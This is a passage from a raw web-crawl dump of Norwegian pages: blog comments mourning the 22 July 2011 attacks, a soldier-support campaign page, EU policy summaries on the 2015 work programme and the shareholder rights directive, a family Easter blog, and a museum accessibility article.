dag.\n\n\n\n# Julie\n\n22.07.2011 kl.23:18\n\nHelt forferdelig.. Stakkars mennesker.. :(  \n  \nEr s\u013a glad for at du har det bra, hvertfall\\!\n\n\n\n# sofie\\<3\n\n22.07.2011 kl.23:40\n\nhelt enig\\! Jeg har en hel familie i Oslo, men har f\u013att h\u0159rt at alle sammen er i sikkerhet, jeg har sittet her i sikkert 4-5 timer \u013a sett p\u013a denne forferdelige hendelsen\\! Jeg tenker akkurat det samme som deg, og h\u013aper alle i din familie har det bra\\! :)\n\n\n\n# Pia :)\n\n22.07.2011 kl.23:55\n\nForferdelig \\!\\! bestevennen min d\u0159de idag :( Og jeg har hatt en helt j\u0107velig dag\\!\\! Denne dagen kommer jeg til og huske for alltid :(  \n  \nKlem Pia \\<3\n\n\n\n# kjendismilla\n\n22.07.2011 kl.23:57\n\nkjempe fint bilde av deg Linni \\<333\n\n\n\n# \n\n23.07.2011 kl.00:16\n\nHei linni \\!\\!  \n  \nDu virker som en fantastisk person . Jeg er helt enig med deg , nyt hver eneste minutt for du vet ikke hva morgendagen bringer ;) Men dette som skjer i Oslo er jo helt forferdelig , uvirkelig at det kan skje i dette fantastiske landet :/\n\n# Tirilgran.blogg.no\n\n23.07.2011 kl.03:00\n\nkunne aldri se for meg at dette skjedde i norge\\! helt forferdelig\\! dette her setter sikkert spor i livene v\u013are helt til happy ending\\!  \n  \nutrolig fint bilde av deg \\<3\n\n\n\n# Elsa'kommeterer tilbake\\! (:\n\n23.07.2011 kl.10:36\n\nGud vesingler Norge, og det skal han alltid gj\u0159re\\!\n\n# Galina\n\n23.07.2011 kl.11:08\n\n\u0139\u013a\u013a, du var kjempefin der daa \\<3\n\n# Hanne Xd\n\n23.07.2011 kl.11:11\n\nDet er helllllt f\u0107lt men det posetive er at jeg leser bloggen din v\u0107r dag. Jeg digger deg\\!xD\n\n\n\n# Karoline\n\n23.07.2011 kl.11:55\n\nHelt enig i det du sier her Linni, dette er jo helt forferdelig\\!\\!\\! hvorfor Norge\\!?  \n  \nJeg sender mange varme tanker til alle de skadde, drepte, og p\u013ar\u0159rende\\! Hvil i fred. \\<3\n\n\n\n# Sofie Blichfeldt Gr\u0159ndahl - s\u0159k p\u013a facebook\n\n23.07.2011 kl.12:18\n\nDu er utrolig pen\\!  \n  \nDet som har skjedd i Norge er forferdelig ... tenner lys for dem :(\n\n\n\n# runa og kathrine - california 2012\n\n23.07.2011 kl.12:24\n\ns\u013a bra at du skriver om det linni :D ... det er helt forferdelig og ufattelig .......\n\n\n\n# hege\n\n23.07.2011 kl.12:55\n\nsyke j\u0107vler som gj\u0159r s\u013ann\\!\\!\\! unnskyld uttrykket, men ingen uskyldige folk fortjener dette\\! at dette kom til \u013a ramme norge hadde jeg aldri trodd.. det p\u013a Ut\u0159ya var helt forferdelig\\! jeg trodde det bare var p\u013a film slik skjedde og i andre land som er utsatt for verre terror. tenk p\u013a de siste minuttene til de drepte, Gud vet hvor forferdelige de har v\u0107rt\\! f\u0159ler med alle p\u013ar\u0159rende, skadde og d\u0159de.  \n  \n22\\. juli 2011 vil v\u0107re en dag mange husker for alltid...\n\n# svsb\\<3 love\n\n23.07.2011 kl.14:11\n\nhelt enig\\! nydeli bilde:)\n\n\n\n# E.S.H\n\n23.07.2011 kl.15:10\n\nforferdelig\\!\\! jeg ser p\u013a showe ditt det er kjempe bra :-)  \n  \nkjempe fint bilde:-)\n\n\n# M.G.S E.S.H\n\n23.07.2011 kl.15:14\n\nForferdelig\\!\\!jeg ser p\u013a bloggen din og seriene dine eller vi to da:)  \n  \nKjempe fine bildder av deg og Dennis:-):-)\n\n\n\n# Marie nenZ\n\n23.07.2011 kl.15:44\n\n\u013a\u013a, Linni du er s\u013a vakker p\u013a utsiden og insiden\\! jeg bladde meg ned p\u013a et innleg litt underher med deg og grandmah:P heheh jeg ser godt at dere ligner\\! har samme nese og smil :) v\u0107r stolt over at du er en s\u013a vinduderlig mamma, Dennis kommer til \u013a f\u013a v\u0107rdens beste oppveks med deg linni.  \n  \nUtrolig trist det som skjedde her i Norge i g\u013ar. men vi m\u013a st\u013a sammen allesammen\\!  \n  \nJeg ser folk slite med \u013a holde t\u013arene tilbake, men i en slik situasjon kan man f\u013a lov til \u013a gr\u013ate s\u013a myeee man vil\\! men vi er sterk og du er sterk\\!  \n  \nElskerdeg Linnie, klem \\<3\n\n# Emina\n\n23.07.2011 kl.15:58\n\nUtrolig Fint bilde av deg\n\n# thale\n\n23.07.2011 kl.16:46\n\nhelt forferdelig, fint bilde \\<3\n\n\n\n# Lisa Alisia\u2665\n\n23.07.2011 kl.18:55\n\nSykt nydelig bildet av deg :) digger bloggen & digger deg Linni \\!  \n  \n# hanna\n\n23.07.2011 kl.20:04\n\nmagichannamagic.blogg.no n\u013a tar det helt av\n# hanna\n\n23.07.2011 kl.20:06\n\nmagichannamagic.blogg.no n\u013a tar det helt ..\n\n# Veronica\n\n23.07.2011 kl.20:13\n\nPena\\! Helt riktig det du sier.  \n  \nEr du sammen med Bernhard n\u013a, forresten?\n\n\n\n# Therese\n\n23.07.2011 kl.21:12\n\nhei. du er veldig kul\\! jeg digger bloggen din og du m\u013a lese Sstinajoh sin blogg det er stores\u0159stra mi sin blogg\n\n\n\n# Therese\n\n23.07.2011 kl.21:14\n\nhei. jeg digger bloggen din og du m\u013a lese Sstinajoh sin blogg :-D  \n  \nfra Therese Grande Johansson\n\n# emilie\n\n23.07.2011 kl.22:02\n\nat en fra norge kunne trosse landet slik:(\n\n# Rebecca\n\n24.07.2011 kl.00:23\n\nofff det er ubeskriveligt linni ;/ lille trygge norge? ;O verden idag er ikke sann :( btw nice bilde klem \\<3\n\n\n\n# Oslojenta som var heldig og overlevde\\!\n\n24.07.2011 kl.00:59\n\nVet ikke hva man skal kalle denne fyren jeg, men jeg takker Gud for at jeg lever\\! Skj\u0159nner ikke hvordan noen kan ha en s\u013ann tanke i hodet \u013a drepe nesten hundre personer p\u013a under et d\u0159gn.\n\n\n\n# May\n\n24.07.2011 kl.11:35\n\nGud signe fedrelandet\\!\n\n# Charlotte L.\n\n24.07.2011 kl.13:54\n\n# tonje\\<3\n\n24.07.2011 kl.14:00\n\nja, det forferdelig det som kjedde i oslo \u013a p\u013a ut\u0159ya. men alle sier tekk f\u013ar dine ord du har brukt jeg trur de setter stor pris p\u013a det. og det er det verste siden krigen\\!  \n  \ndu er den sterk person og jeg elsker dine ord og blogg:-)  \n  \nelske deg\\<3\\<3\\<3\\<3\\<3\\<3\\<3\\<3\\<3\\<3\\<3\\<3\\<\\<3\\<3\\<3\\<3\\<3\\<3\\<3\\<3\\<3\\<3\\<3\\<33\\<3\\<3\\<3\\<3\\<3\\<3\n\n\n\n# Karoline M. Klein\n\n24.07.2011 kl.22:10\n\nfint bilde :) \\<3 \\<3 \\<3\n\n\n\n# Nina\n\n25.07.2011 kl.00:17\n\nDu er s\u013a utrolig pen Linni\\! :)\n\n\n\n# hildewaage\n\n25.07.2011 kl.23:47\n\nskam fint bilde av deg\\!\\!\\!\n\n\n\n# Rebecca\n\n26.07.2011 kl.12:40\n\nJeg er helt enig. Fint bildet av deg\\!\n\n\n\n# Stine :-D\n\n27.07.2011 kl.23:26\n\nHeei, sykt trist :(  \n  \nHar selv mistet noen som st\u013ar meg n\u0107r :-(  \n  \nMen jeg synst uansett at du er kjempe pen \\<3  \n  \nOg jeg elsker h\u013aret ditt, kl\u0107rene dine, stemmen din, Bloggen din og Serien din \\<3  \n  \nKommer det en sesong 3? \\<3  \n  \nKos og klem din aller storste fan \\! :-D\n\n", "language": "no", "__index_level_0__": "e53532e1-8380-40ea-a81e-62744d9a89d9"}
{"url": "http://stottvaaresoldater.no/c-52-M%C3%A5let-med-%E2%80%9DSt%C3%B8tt-v%C3%A5re-soldater%E2%80%9D.aspx", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00630.warc.gz", "warc_date": "2018-03-24T23:06:01Z", "text": "# M\u00e5let med \"St\u00f8tt v\u00e5re soldater\"\n\n  \n\\-er \u00e5 f\u00e5 alle grupper i befolkningen til \u00e5 vise at de st\u00f8tter og anerkjenner valget av \u00e5 bli soldat - uavhengig av HVOR man utf\u00f8rer sin tjeneste.  \n  \nKampanjen er for ALLE soldater, enten de er p\u00e5 grensen i nord, p\u00e5 vakt i en leir eller et sted i utlandet.\n\n", "language": "no", "__index_level_0__": "8c47c0d2-9b8f-4a12-80ce-62b7886b2058"}
{"url": "http://europalov.no/politikkdokument/kommisjonens-arbeidsprogram-2015/id-8093", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00301.warc.gz", "warc_date": "2018-03-24T23:30:40Z", "text": "# Kommisjonens arbeidsprogram 2015\n\n### Tittel\n\nMeddelelse fra Kommisjonen til Europaparlamentet, R\u00e5det, Den europeiske \u00f8konomiske og sosiale komite og Regionsutvalget. Kommisjonens arbeidsprogram 2015 - en ny start\n\n## N\u00e6rmere omtale\n\n**BAKGRUNN** (fra Norges EU-delegasjons rapport 26.01.2015)\n\n**Europakommisjonens arbeidsprogram for 2015**  \nEuropakommisjonens arbeidsprogram for 2015 inneholder tiltak for \u00e5 stimulere til \u00f8konomisk vekst og sysselsetting, inkludert en investeringspakke p\u00e5 315 milliarder euro. EU-delegasjonens rapport tar for seg de viktigste sakene i arbeidsprogrammet.\n\nEuropakommisjonens arbeidsprogram for 2015 beskriver hvilke saker Kommisjonen skal prioritere det kommende \u00e5ret. Som EUs ut\u00f8vende organ er Kommisjonen en sentral premissleverand\u00f8r og h\u00e5ndhever.\n\nProgrammet for 2015 best\u00e5r av 23 konkrete punkter som tar utgangspunkt i de ti politiske hovedprioriteringene kommisjonspresident Jean-Claude Juncker fremla sommeren 2014 f\u00f8r han ble valgt. Det ber\u00f8rer bortimot alle politikkomr\u00e5der og har et gjennomg\u00e5ende fokus p\u00e5 \u00f8konomisk vekst, sysselsetting, investeringer og regulatorisk effektivisering. Det viktigste enkelttiltaket er opprettelsen av en investeringspakke p\u00e5 315 milliarder euro.\n\n## EU\n\n", "language": "no", "__index_level_0__": "d1eb2454-35ed-4ac6-a499-db373d0c34aa"}
{"url": "http://pernilleslykkeligesysler.blogspot.com/2012/04/hjemme-igjen.html", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00608.warc.gz", "warc_date": "2018-03-24T23:24:35Z", "text": "\n\n## s\u00f8ndag 8. april 2012\n\n### Hjemme igjen...\n\nDa\u00a0er vi hjemme igjen etter en superfin p\u00e5sketur p\u00e5 Rondablikk H\u00f8yfjellshotell.   \nDagene g\u00e5r s\u00e5\u00a0alt for\u00a0fort...  \nLitt trist var det \u00e5 reise i dag, men det er alltid godt \u00e5 komme hjem :)  \n  \nHer kommer en del bilder som oppsummerer greit hva vi har bedrevet tiden med...  \n\n  \n\n\n  \n\n\n  \n\n\nDet som ikke kommer frem av bildene er at vi har spist, spist og spist- \n\nmasse god mat.\n\nP\u00e5 langfredag var det str\u00e5lende v\u00e6r, \n\ns\u00e5 jeg og Hanne tok p\u00e5 oss skiene og gikk\u00a0en lang tur, \n\nog vi har sv\u00f8mt hver morgen :)\n\n  \n\nOg nevnte jeg at vi har spist? ;)\n\nI morgen skal joggeskoene f\u00e5 seg en tur...\n\n  \n\u00a0\nDet er utrolig flott natur der, og hotellet ligger fint til. \n\nDet\u00a0var ikke stappfullt med folk heller, s\u00e5 det\u00a0var stille og fredelig.\n\nOrdentlig ferie\\!\n\n  \n\n\n\n  \nVi har kost oss masse, og jeg vil takke reisef\u00f8lget for en fantastisk tur.\n\nTusen takk alle sammen\\!\n\n  \n\nDa vi kom hjem i dag hadde jammen p\u00e5skeharen (farmor denne gangen) v\u00e6rt her ogs\u00e5. \n\nOg det var to blide jenter som koste seg med litt sjokolade i dag og.\n\n  \n\n\nSpesielt den til h\u00f8yre ;)\n\nBeklager at bilde av Mie er litt uklart, men det var desidert det beste bilde av henne :)\n\n  \n\n\u00d8nsker dere alle god p\u00e5ske, for det er fortsatt en dag igjen\\!\n\n  \nKlem fra\n\n\n\n Etiketter: jentene mine, P\u00e5ske \n#### 2 kommentarer:\n\n1.  \n    \n    Anonym8. april 2012 kl. 21:38\n    \n    Ser ut som dere har hatt en kjempe fin p\u00e5ske tur Hilde:)) Digger dene siden din, blink blogger du. Huset ditt er jo rene dr\u00f8mmehuset:)  \n      \n    hege\n    \n2.  \n    \n    Anonym8. april 2012 kl. 22:30\n    \n    Fin blogg, fint hus og vakre sm\u00e5 jenter :-) Fortsatt god p\u00e5ske\\! Klem fra Ina\n    \nP\u00e5 grunn av mye spam-kommentarer, er jeg n\u00f8dt til \u00e5 ha ordrebekreftelse p\u00e5 kommentarene- beklager dette.  \nH\u00e5per du likevel legger igjen spor etter deg.  \nDet settes stor pris p\u00e5\\!\n\n    \n\n## Hilde Pernille Opseth, Pernilles Interi\u00f8rsysler\n\nF\u00f8dt i 1979.  \nBor p\u00e5 Haga sammen med min kj\u00e6re Dag og v\u00e5re to d\u00f8tre Amalie Marie og Mie Sofie.  \nInteri\u00f8r og innredning er min store lidenskap, s\u00e5 det skjer stadig sm\u00e5 og store endringer innenfor v\u00e5re vegger.  \nHer er min interi\u00f8rdagbok, og jeg blir veldig glad om du vil ta del i den.  \nF\u00f8lg meg gjerne her p\u00e5 bloggen eller p\u00e5 facebook\\!  \nVelkommen skal du v\u00e6re og h\u00e5per du vil trives.  \n\n    \n    \n", "language": "no", "__index_level_0__": "91ca8e6c-3e2f-47b3-a5b4-4b83872d8611"}
{"url": "https://www.vps.no/pub/eu-knytter-borsnoterte-selskaper-tettere-sammen-med-sine-aksjonaerer/", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00111.warc.gz", "warc_date": "2018-03-24T23:34:58Z", "text": "4.  / EU knytter b\u00f8rsnoterte selskaper tettere sammen med sine aksjon\u00e6rer\n\n# EU knytter b\u00f8rsnoterte selskaper tettere sammen med sine aksjon\u00e6rer\n\n Aktuelt  29.06.2017\n\nEU har nylig vedtatt nye regler som stiller krav til at aksjon\u00e6rer skal kunne ut\u00f8ve sine aksjon\u00e6rrettigheter, til \u00e5penhet mellom selskap og investorer, og til aksjon\u00e6renes innflytelse p\u00e5 selskapene p\u00e5 enkelte omr\u00e5der. Endringene finnes i direktiv om aksjon\u00e6rrettigheter. De nye reglene vil gjelde i EU fra juni 2019. Det er usikkert n\u00e5r direktivet vil bli gjennomf\u00f8rt i norsk rett.\n\nDet er i dag EU-regler om at aksjon\u00e6rer i b\u00f8rsnoterte selskaper enten selv eller ved fullmektig skal kunne delta p\u00e5 generalforsamlingene, stille sp\u00f8rsm\u00e5l, fremme forslag, uttale seg og avgi sin stemme. Selskapene skal publisere informasjon om resultatet av stemmegivning p\u00e5 generalforsamlinger p\u00e5 selskapets nettside. Reglene gjelder for Norge og er gjennomf\u00f8rt ved tilpasninger i allmennaksjeloven. Reglene finnes i direktiv 2007/36/EF kalt Shareholders' Rights Directive (forkortet SRD) \u2013 p\u00e5 norsk oversatt til direktiv om aksjon\u00e6rrettigheter.\n\nEU har nylig vedtatt \u00e5 endre direktivet for \u00e5 \u00f8ke aksjon\u00e6renes langsiktige innflytelse p\u00e5 b\u00f8rsnoterte selskaper. Det kommer nye krav til at aksjon\u00e6rene skal kunne ut\u00f8ve sine aksjon\u00e6rrettigheter, til \u00e5penhet mellom selskap og investorer, og til aksjon\u00e6renes innflytelse p\u00e5 selskapene p\u00e5 enkelte omr\u00e5der. Endringene finnes i direktiv 2017/828/EU som er kjent som SRD II.\n\nKravene i direktivet gjelder bare b\u00f8rsnoterte selskaper. B\u00e5de selskapets hovedkontor og det regulerte markedet m\u00e5 ligge i en medlemsstat for at direktivet skal komme til anvendelse. VPS antar at selv om direktivet ikke direkte gjelder andre selskaper/markedsplasser, er det ikke utelukket at markedspraksis kan p\u00e5virkes ogs\u00e5 utenfor direktivets anvendelsesomr\u00e5de.\n\nEndringene skal v\u00e6re gjennomf\u00f8rt i EU-landene innen juni 2019. Det er usikkert n\u00e5r direktivet vil bli gjennomf\u00f8rt i norsk rett.\n\n## Aksjon\u00e6rer m\u00e5 kunne ut\u00f8ve sine aksjon\u00e6rrettigheter\n\nDirektivet krever at landenes lovgivning sikrer at aksjon\u00e6rene kan ut\u00f8ve sine rettigheter p\u00e5 en praktisk m\u00e5te ogs\u00e5 hvor instrumentene er holdt gjennom en forvalterkjede. For \u00e5 sikre dette innf\u00f8res blant annet nye krav til de ulike leddene i en slik kjede og til utsteder selv. P\u00e5 bakgrunn av at verdipapirmarkedene fungerer forskjellig fra land til land, gir direktivet medlemsstatene frihet til \u00e5 bestemme hvordan kravene skal gjennomf\u00f8res og til \u00e5 innarbeide dette i relevant lovgivning, herunder selskapslovgivning. Aktuelle rettigheter utover rettighetene knyttet til generalforsamlingen, er retten til \u00e5 motta utbytte og andre betalinger, ut\u00f8ve tegningsretter, akseptere oppkj\u00f8pstilbud, og delta i restruktureringer.\n\nFor at aksjon\u00e6rer som eier aksjer i et selskap som holdes gjennom en eller flere forvaltere skal kunne ut\u00f8ve sine rettigheter, m\u00e5 selskapet  \n\u2022 identifisere aksjon\u00e6rene (kan gj\u00f8res unntak for sm\u00e5aksjon\u00e6rer med mindre enn 0,5 % av aksjestemmene),  \n\u2022 sende informasjon om rettighetene til aksjon\u00e6rene, og  \n\u2022 sikre at aksjon\u00e6rene kan ut\u00f8ve rettighetene selv eller ved instruks til fullmektig.\n\nKravene inneb\u00e6rer at verdipapirregistre, banker, verdipapirforetak og andre mellomledd m\u00e5 bidra til \u00e5 identifisere aksjon\u00e6rene, formidle informasjon om rettighetene til aksjon\u00e6rene, og bist\u00e5 ved ut\u00f8velsen av rettighetene. Informasjon skal sendes gjennom forvalterkjedene som standardiserte meldinger uten forsinkelse. Formatene og kravene til de standardiserte meldingene skal v\u00e6re klare innen september 2018.\n\n## \u00c5penhet fra institusjonelle investorer og kapitalforvaltere\n\nDirektivet stiller krav til \u00e5penhet fra institusjonelle investorer og kapitalforvaltere. Kravene til \u00e5penhet skal bidra til \u00e5 vise hvordan ut\u00f8velse av aksjon\u00e6rrettighetene aktivt bidrar til utviklingen p\u00e5 mellomlang og lang sikt i selskapene det er investert i. De skal ogs\u00e5 vise hvordan dette gj\u00f8res i praksis, blant annet hvordan de stemmer og en forklaring p\u00e5 de viktigste stemmegivningene. Det m\u00e5 ogs\u00e5 gis informasjon om bruk av r\u00e5dgivere som gir stemmeanbefalinger.\n\nReglene er blant annet aktuelle for livsforsikringsforetak, innskuddspensjonsforetak, pensjonskasser, forvaltningsselskaper, og verdipapirforetak som driver portef\u00f8ljeforvaltning.\n\n## Aksjon\u00e6renes rett til innflytelse p\u00e5 lederl\u00f8nninger og transaksjoner med forbundne parter\n\nFor \u00e5 ivareta aksjon\u00e6renes interesser ved avl\u00f8nning av ledende ansatte/styremedlemmer, stiller direktivet krav til at aksjon\u00e6rene skal ha rett til \u00e5 stemme over selskapets policy for deres godtgj\u00f8relser p\u00e5 generalforsamlingen. Selskapets godtgj\u00f8relsespolicy skal tilfredsstille visse krav og v\u00e6re offentlig tilgjengelig p\u00e5 selskapets nettsider.\n\nFor \u00e5 ivareta selskapenes og aksjon\u00e6renes interesser ved transaksjoner med forbundne parter, skal slike transaksjoner godkjennes av generalforsamlingen eller av et administrativt/kontroll-organ etter rutiner som hindrer en forbunden part fra \u00e5 utnytte sin posisjon og gi tilstrekkelig vern for interessene til selskapet og de aksjon\u00e6rene som ikke har en forbindelse til den forbundne parten.\n\n", "language": "no", "__index_level_0__": "1a138d39-a1d2-4c9d-8fbf-058e62e46a6d"}
{"url": "http://www.periskop.no/norske-museer-burde-kommet-lenger-arbeidet-tilgjengelighet/", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00301.warc.gz", "warc_date": "2018-03-24T23:41:00Z", "text": "# **\u2013 Norske museer burde ha kommet lenger i arbeidet med tilgjengelighet**\n\n Fra Nasjonalmuseets utstilling av Aase Texmon Rygh. Foto: Nasjonalmuseet.\n\n**KATEGORI:** Tverrestetisk.Visuell Kunst.  \n**SJANGER:** Nyheter.   \n**PUBLISERT:** 14.02.2018  \n \n\nSERIE: Det mener Hanna Mellemsether som har skrevet h\u00e5ndbok om tilgjengelighet.\n\nAv:\n\nIda Skogvold\n\n\u2013 Museene er ikke til for de ansatte eller for samlingene. Det er samfunnet som eier oss, og alle er en del av samfunnet. Ogs\u00e5 de som ikke ser eller h\u00f8rer, eller har andre utfordringer, sier Hanna Mellemsether. Hun er seniorr\u00e5dgiver for forskning ved Museene i S\u00f8r-Tr\u00f8ndelag (MiST), og har skrevet den ferske h\u00e5ndboken Bare gj\u00f8r det\\! om tilgjengeliggj\u00f8ring av museer.\n\nBoken, som er utgitt av MiST, inneholder eksempler p\u00e5 konkrete tiltak museene kan iverksette for \u00e5 tilrettelegge for bes\u00f8k fra et bredt og mangfoldig publikum, men ogs\u00e5 brukergrupper med spesielle behov. If\u00f8lge Mellemsether er tilgjengeliggj\u00f8ring av institusjonenes tilbud for hele befolkningen en viktig del av museenes samfunnsoppdrag.\n\n\u2013 I dag anser vi kunst og kultur for \u00e5 v\u00e6re viktig for alle, og vi vet at kulturelle opplevelser bidrar positivt til livskvaliteten. Alle skal ha rett til \u00e5 opps\u00f8ke kulturen, derfor er det viktig \u00e5 n\u00e5 ut til gruppene som har f\u00e5 kulturtilbud, sier hun.\n\n\u2013 De fleste av oss kan velge og vrake, det er ingen som hindrer meg i \u00e5 dra p\u00e5 teater, konsert, opera eller museer, men for mange er det vanskeligere \u00e5 opps\u00f8ke kulturtilbud. Derfor b\u00f8r vi bidra til at grupper som har ekstra behov for tilgjengeliggj\u00f8ring i alle fall f\u00e5r noe \u00e5 velge mellom.\n\n### **SERIE: Hva er tilgjengelighet?**\n\n-----\n\nN\u00e5r vi snakker om kunst for barn og unge, handler det ofte om \u00e5 tilpasse et kunstverk eller en kunstnerisk tradisjon for et publikum med andre behov enn den gjengse, voksne kunstinteresserte. Barn og unge blir ofte begrenset til en rolle som \u00abden andre\u00bb, og selv i prosjekter som aktivt g\u00e5r inn for \u00e5 tilgjengeliggj\u00f8re kunst for et ungt publikum, kan de unge likevel oppleve \u00e5 bli st\u00e5ende utenfor.\n\nI serien\u00a0*Hva er tilgjengelighet?*\u00a0ser vi n\u00e6rmere p\u00e5 hva det vil si \u00e5 gj\u00f8re kunst tilgjengelig for flere \u2013 ikke bare barn og unge, men ogs\u00e5 andre grupper som tradisjonelt har st\u00e5tt utenfor et institusjonelt bilde av publikummeren. Hvilket ansvar ligger hos institusjonene, i spr\u00e5ket, i samfunnet?\n\nF\u00f8rst ut i serien var Boel Christensen Scheel og Christin Fonn T\u00f8mtes essay:\u00a0Hva betyr tilgjengelighet i kunstinstitusjonen?\n\nDel to er saken om den nye h\u00e5ndboken i tilgjengelighetsarbeid fra Museene i S\u00f8r-Tr\u00f8ndelag: \u2013 Norske museer burde ha kommet lenger i arbeidet med tilgjengelighet\n\n## **Stort potensiale blant norske museer**\n\nIf\u00f8lge Statistisk Sentralbyr\u00e5 hadde norske museer over 11 millioner bes\u00f8k i 2016, og sektoren er i vekst med stadig st\u00f8rre samlinger og flere ansatte ved de ulike institusjonene.\n\n\u2013 Med store satsinger p\u00e5 nye museumsbygg og helt nye museer, har vi en enest\u00e5ende anledning til \u00e5 jobbe konsekvent for \u00e5 utvikle tilbudet. Norge har potensiale til \u00e5 v\u00e6re ledende b\u00e5de n\u00e5r det gjelder museumsforskning og innovativ formidlingspraksis, sier Palmyre Pierroux.\n\nHun er professor ved Institutt for pedagogikk p\u00e5 Universitetet i Oslo, og forsker blant annet p\u00e5 publikumsdeltakelse ved museer og andre informasjons- og l\u00e6ringssentre.\n\nPierroux mener museene har mer \u00e5 g\u00e5 p\u00e5 n\u00e5r det gjelder tilrettelegging for publikumsgrupper med spesielle behov. Selv om det er kompetanse blant de som jobber med formidlingsarbeid ved museene, er ikke n\u00f8dvendigvis tilgjengeliggj\u00f8ring en stor prioritet blant ledelsen eller kuratorene, tror hun.\n\n\u2013 Det er sterk utvikling i formidlingsfeltet, ikke minst n\u00e5r det gjelder digital formidling. Samtidig er det kanskje ikke alltid de stemmene museumsledelsen h\u00f8rer mest p\u00e5 n\u00e5r strategier skal legges. Vi h\u00f8rer ikke s\u00e5 mye om arbeidet med tilgjengeliggj\u00f8ring, selv om det er mange dyktige museumsansatte som jobber med det.\n\n## **\u2013 Burde ha kommet lenger**\n\nOgs\u00e5 Mellemsether mener det er mer aktivitet p\u00e5 formidlingsomr\u00e5det enn p\u00e5 lenge n\u00e5r det gjelder tilrettelegging for brukergrupper som tradisjonelt har m\u00f8tt hindre i museenes tilbud.\n\n\u2013 I Norge burde vi ha kommet lenger enn vi har i dag. Allerede p\u00e5 \u00e5ttitallet begynte vi \u00e5 h\u00f8re om universell utforming, men arbeidet som gj\u00f8res er ofte veldig formalistisk, sier hun, og legger til at det er det er viktig \u00e5 utvide tilgjengelighetsarbeidet til mer enn bare grupper med forskjellige fysiske utfordringer.\n\n\u2013 Jeg tror behovet for tilrettelegging gjelder flere enn vi tror. Du trenger ikke sitte i rullestol eller v\u00e6re blind eller d\u00f8v for \u00e5 ha nytte av tilgjengeliggj\u00f8ringstiltak, og kjernebes\u00f8keren vil ogs\u00e5 ha fordel av tilrettelegging for flere, sier hun.\n\nMellemsether mener tilgjengelighetsbegrepet ogs\u00e5 dreier seg om \u00e5 gj\u00f8re museumstilbudene kjent for et bredere publikum.\n\n\u2013 Tenk bare p\u00e5 hvilket spr\u00e5k som brukes n\u00e5r utstillings\u00e5pninger annonseres. For \u00e5 forst\u00e5 invitasjonen til en samtidskunstutstilling m\u00e5 man nesten ha s\u00e6rinteresser i fagfeltet. Det er ogs\u00e5 viktig \u00e5 s\u00f8rge for at m\u00e5lgruppene for spesialtilpassede tilbud f\u00e5r vite at museene har noe ogs\u00e5 de kan oppleve, sier hun, og viser til en spesialomvisning Ringve Musikkmuseum nylig arrangerte for d\u00f8ve.\n\n\u2013 Det h\u00f8res kanskje umulig ut, for et musikkmuseum forutsetter jo en forst\u00e5else av hva musikk er. H\u00f8rende er oppvokst i en musikkultur, men da Ringve Musikkmuseum i samarbeid med Norsk D\u00f8vemuseum laget et spesialopplegg, ga de mulighet til \u00e5 oppleve noe helt spesielt til en gruppe som trodde museet ikke hadde noe \u00e5 tilby dem. Det kom bare tre bes\u00f8kende, og det var skuffende, men det var sterkt \u00e5 se at bes\u00f8ket hadde enorm betydning for de som kom. Tilretteleggingsarbeid gj\u00f8res ikke for \u00e5 \u00f8ke bes\u00f8kstallene, men for \u00e5 gi flere mulighet til \u00e5 oppleve kultur. Museene m\u00e5 fortsette med flere tilbud over lengre tid, bygge nettverk med ulike brukergrupper, og m\u00e5lrette markedsf\u00f8ringen slik at flere blir inkludert, forteller hun.\n\n\n\n\u2013Jeg tror behovet for tilrettelegging gjelder flere enn vi tror, sier Hanna Mellemsether. Foto: MiST.\n\n### Museene som virkelig er interessert i universell utforming er nok klar over at det dreier seg om mer enn bare et minimum, sier Mellemsether.\n\n## **\u2013 Problematisk med minimumskrav**\n\nI *Bare gj\u00f8r det\\!* viser Mellemsether til definisjoner av begrepet \u00abuniversell utforming\u00bb. FNs konvensjon om rettighetene til mennesker med nedsatt funksjonsevne fastsl\u00e5r at produkter, omgivelser, programmer og tjenester skal utformes slik at de kan \u00abbrukes av alle mennesker, i s\u00e5 stor utstrekning som mulig, uten behov for tilpasning og en spesiell utforming\u00bb. I Norge definerer likestillings- og diskrimineringsloven begrepet som utforming og tilrettelegging \u00abslik at virksomhetens alminnelige funksjoner kan benyttes av flest mulig\u00bb.\n\n\u2013 Lovteksten oppfordrer oss ikke til \u00e5 gj\u00f8re mer enn et absolutt minimum. Det kan f\u00f8re til at man monterer en rullestolrampe og tror man er ferdig med tilgjengeliggj\u00f8ringen fordi kravet er oppfylt, sier Mellemsether.\n\n\u2013 Det er ikke godt nok, for n\u00e5r vi snakker om universell utforming b\u00f8r det gjelde en helhet fra rullestolinngangen til formidlingen av museets innhold. Mimimumstenkningen har irritert meg flere ganger. Det skal ikke s\u00e5 mye til f\u00f8r man har gjort det bedre, men n\u00e5r det ikke er lovp\u00e5lagt, lar man ofte v\u00e6re.\n\n***\u2013 Er det et utbredt problem i norske museer?***\n\n\u2013 N\u00e5r det gjelder prioritering av \u00f8konomisk vinning foran tilgjengeliggj\u00f8ring, tror jeg det. Samtidig er ikke dette et problem som gjelder museene i st\u00f8rre grad enn samfunnet for \u00f8vrig, og museene som virkelig er interessert i universell utforming er nok klar over at det dreier seg om mer enn bare et minimum, sier Mellemsether.\n\n\u00a0\n\n  - \n    ### Hva betyr tilgjengelighet i kunstinstitusjonen?\n     Av: \n    Christin Fonn T\u00f8mte\n    Boel Christensen-Scheel\n\n\n\nPalmyre Pierroux. Foto: Shane Colvin/ Universitetet i Oslo.\n\n## **\u2013 Lite forskning**\n\nIf\u00f8lge Palmyre Pierroux har mange museer utfordringer i arbeidet med tilgjengeliggj\u00f8ring av sine utstillinger fordi konservering av kunstverk og utstillingsobjekter ofte gj\u00f8r det vanskelig \u00e5 tilrettelegge for at publikum kan oppleve dem p\u00e5 n\u00e6rt hold.\n\n\u2013 Kanskje f\u00f8rer det til at man ikke er like innovative og kreative som man burde v\u00e6re i utformingen, for eksempel for \u00e5 la bes\u00f8kende ta i bruk andre sanser enn bare synet i m\u00f8te med utstillingene. Flere store museer i utlandet har egne omvisninger for publikum med 